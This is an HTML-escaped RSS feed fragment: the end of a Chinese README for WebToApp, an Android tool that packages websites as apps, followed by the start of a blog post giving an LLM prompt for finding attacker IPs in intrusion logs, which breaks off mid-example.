dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;扩展模块&lt;/span&gt;&amp;nbsp;— 10 个内置模块(视频下载器、B站/抖音/小红书提取器、视频增强、网页分析、暗色模式、隐私保护、内容增强、元素拦截) + 自定义模块 3 种来源(自定义 JS / userscript .user.js / Chrome 扩展 manifest.json)。完整 Greasemonkey/Tampermonkey GM_* API 桥接。MV3 declarativeNetRequest 规则引擎(block/allow/redirect/modifyHeaders)。模块分享通过导出码。&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;APK 导出&lt;/span&gt;&amp;nbsp;— 自定义包名/版本，架构选择(通用/ARM64/ARM32)，性能优化(图片压缩/WebP 转换、代码压缩、懒加载、DNS 预取、预加载提示)，运行时权限(摄像头/麦克风/位置/存储/蓝牙/NFC/短信/通讯录/日历/传感器/前台服务/wake lock/安装包/系统弹窗)&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;广告&lt;/span&gt;&amp;nbsp;— Banner + 插屏 + 开屏广告支持，可配置 ID 和时长&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;主题&lt;/span&gt;&amp;nbsp;— Aurora 主题系统，动态颜色生成&lt;/p&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;数据备份&lt;/span&gt;&amp;nbsp;— 完整应用数据备份和恢复，项目导出/导入&lt;/p&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;快速开始&lt;/h2&gt;&lt;a id=&quot;user-content-快速开始&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 快速开始&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;ol dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-bottom: var(--base-size-16); padding-left: 2em; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;在 Android 设备上安装 WebToApp&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;点击 &amp;quot;+&amp;quot; 创建新应用 — 输入 URL 或导入项目&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;自定义图标、设置和功能&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;点击 &amp;quot;构建 APK&amp;quot; — 安装完成&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;从源码构建&lt;/h2&gt;&lt;a id=&quot;user-content-从源码构建&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 从源码构建&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E4%BB%8E%E6%BA%90%E7%A0%81%E6%9E%84%E5%BB%BA&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: var(--base-text-weight-semibold,600);&quot;&gt;要求：&lt;/span&gt;&amp;nbsp;Android Studio Hedgehog+、JDK 17、Gradle 8.14+&lt;/p&gt;&lt;div class=&quot;highlight highlight-source-shell notranslate position-relative overflow-auto&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-bottom: var(--base-size-16); justify-content: space-between; display: flex; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; overflow: auto !important; position: relative !important;&quot;&gt;&lt;pre style=&quot;box-sizing: border-box; font-family: var(--fontStack-monospace,ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace); font-size: 13.6px; margin-top: 0px; margin-bottom: 0px; tab-size: var(--tab-size-preference); overflow-wrap: normal; padding: var(--base-size-16); color: var(--fgColor-default,var(--color-fg-default)); background-color: var(--bgColor-muted,var(--color-canvas-subtle)); border-radius: 6px; line-height: 1.45; overflow: auto; word-break: normal; min-height: 52px;&quot;&gt;git&amp;nbsp;clone&amp;nbsp;https://github.com/shiahonb777/web-to-app.gitcd&amp;nbsp;web-to-app
./gradlew&amp;nbsp;assembleDebug&lt;/pre&gt;&lt;div class=&quot;zeroclipboard-container&quot; style=&quot;box-sizing: border-box; animation: auto ease 0s 1 normal none running none;&quot;&gt;&lt;clipboard-copy aria-label=&quot;Copy code to clipboard&quot; class=&quot;ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 d-flex flex-justify-center flex-items-center&quot; data-copy-feedback=&quot;Copied!&quot; data-tooltip-direction=&quot;w&quot; value=&quot;git clone https://github.com/shiahonb777/web-to-app.git
cd web-to-app
./gradlew assembleDebug&quot; tabindex=&quot;0&quot; role=&quot;button&quot; style=&quot;box-sizing: border-box; font-size: 14px; font-weight: var(--base-text-weight-medium,500); text-wrap: nowrap; vertical-align: middle; cursor: pointer; user-select: none; appearance: none; border: 0px; border-radius: 6px; line-height: 20px; position: relative; color: var(--fgColor-accent,var(--color-accent-fg)); box-shadow: none; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, box-shadow 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, border-color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s; width: var(--control-small-size,28px); height: var(--control-small-size,28px); margin: var(--base-size-8,8px) !important; padding: 0px !important; display: flex !important; justify-content: center !important; align-items: center !important;&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; data-component=&quot;Octicon&quot; height=&quot;16&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; data-view-component=&quot;true&quot; class=&quot;octicon octicon-copy js-clipboard-copy-icon&quot;&gt;&lt;path d=&quot;M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/clipboard-copy&gt;&lt;/div&gt;&lt;/div&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;Release 构建需在&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: var(--fontStack-monospace,ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace); font-size: 13.6px; tab-size: var(--tab-size-preference); white-space-collapse: break-spaces; background-color: var(--bgColor-neutral-muted,var(--color-neutral-muted)); border-radius: 6px; margin: 0px; padding: 0.2em 0.4em;&quot;&gt;app/build.gradle.kts&lt;/code&gt;&amp;nbsp;中配置签名。&lt;/p&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; position: relative; color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;h2 tabindex=&quot;-1&quot; class=&quot;heading-element&quot; dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: var(--base-size-24); margin-bottom: var(--base-size-16); font-weight: var(--base-text-weight-semibold,600); line-height: 1.25; border-bottom: 1px solid var(--borderColor-muted,var(--color-border-muted)); padding-bottom: 0.3em;&quot;&gt;技术栈&lt;/h2&gt;&lt;a id=&quot;user-content-技术栈&quot; class=&quot;anchor&quot; aria-label=&quot;Permalink: 技术栈&quot; href=&quot;https://github.com/shiahonb777/web-to-app/blob/main/README_CN.md#%E6%8A%80%E6%9C%AF%E6%A0%88&quot; style=&quot;box-sizing: border-box; background-color: rgba(0, 0, 0, 0); color: var(--fgColor-accent,var(--color-accent-fg)); text-decoration-line: underline; float: left; padding-right: var(--base-size-4); margin: auto; line-height: 1; text-underline-offset: 0.2rem; border-radius: var(--borderRadius-medium); opacity: 0; justify-content: center; align-items: center; width: 28px; height: 28px; display: flex; position: absolute; top: 19.0938px; left: -28px; transform: translateY(calc(-50% - 0.3rem));&quot;&gt;&lt;svg data-component=&quot;Octicon&quot; class=&quot;octicon octicon-link&quot; viewbox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;p dir=&quot;auto&quot; style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: var(--base-size-16); color: rgb(31, 35, 40); font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;Kotlin / Jetpack Compose / Material Design 3 / Room / GeckoView / OkHttp / KSP / Native C++ (JNI)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 13 May 2026 16:13:01 +0800</pubDate></item><item><title>基于大模型的入侵日志分析程序</title><link>https://www.kinber.cn/post/6543.html</link><description>&lt;section style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: ;padding: 0px;outline: 0px;user-select: initial !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible&quot;&gt;使用大模型分析日志中的攻击行为，输出攻击者IP及次数。&lt;/span&gt;&lt;/section&gt;&lt;p&gt;&lt;section nodeleaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164003_51235.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.7463193657984145&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;883&quot; type=&quot;block&quot; data-imgfileid=&quot;100014333&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;3&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164003_51235.png&quot; _width=&quot;677px&quot; alt=&quot;图片&quot; data-report-img-idx=&quot;0&quot; data-fail=&quot;0&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;vertical-align: bottom;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important;height: auto !important;visibility: visible !important;width: 677px !important&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: ;padding: 0px;outline: 0px;user-select: initial !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible&quot;&gt;提示词：&lt;/span&gt;&lt;/section&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 1000%;color: rgb(51, 51, 51);position: relative;background-color: rgba(0, 0, 0, 0.03);border: 1px solid rgb(240, 240, 240);border-radius: 2px;display: flex;line-height: 26px;font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;visibility: visible;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot; style=&quot;list-style-type: none;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre data-lang=&quot;javascript&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-top: 0px;margin-bottom: 0px;padding: 1em 1em 1em 0px;outline: 0px;max-width: 1000%;overflow-x: auto;white-space: normal;flex: 1 1 0%;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;你是一个网络安全分析专家。请分析下面这段日志，完成以下任务：1.&amp;nbsp;识别可能的网络攻击行为（如扫描、爆破、注入尝试、非正常频率请求等）。2.&amp;nbsp;区分“正常IP”和“攻击者IP”：&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;攻击者IP：在短时间内有多次失败请求、高频访问敏感路径、或明显恶意特征。&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;正常IP：无上述行为，仅正常访问。3.&amp;nbsp;对每个攻击者IP，提取：&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;攻击开始时间（日志中该IP首次出现恶意行为的时间）&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;攻击结束时间（日志中该IP最后一次出现恶意行为的时间）&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;攻击次数（恶意行为的请求次数）4.&amp;nbsp;按以下&amp;nbsp;JSON&amp;nbsp;格式输出，不要输出其他任何解释或额外字段。输出格式示例（如有多个攻击IP）：{&amp;nbsp;&amp;nbsp;&amp;quot;attackers&amp;quot;:&amp;nbsp;[&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;ip&amp;quot;:&amp;nbsp;&amp;quot;192.168.1.100&amp;quot;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;attack_start_time&amp;quot;:&amp;nbsp;&amp;quot;2025-05-11&amp;nbsp;08:12:03&amp;quot;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;attack_end_time&amp;quot;:&amp;nbsp;&amp;quot;2025-05-11&amp;nbsp;08:15:22&amp;quot;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;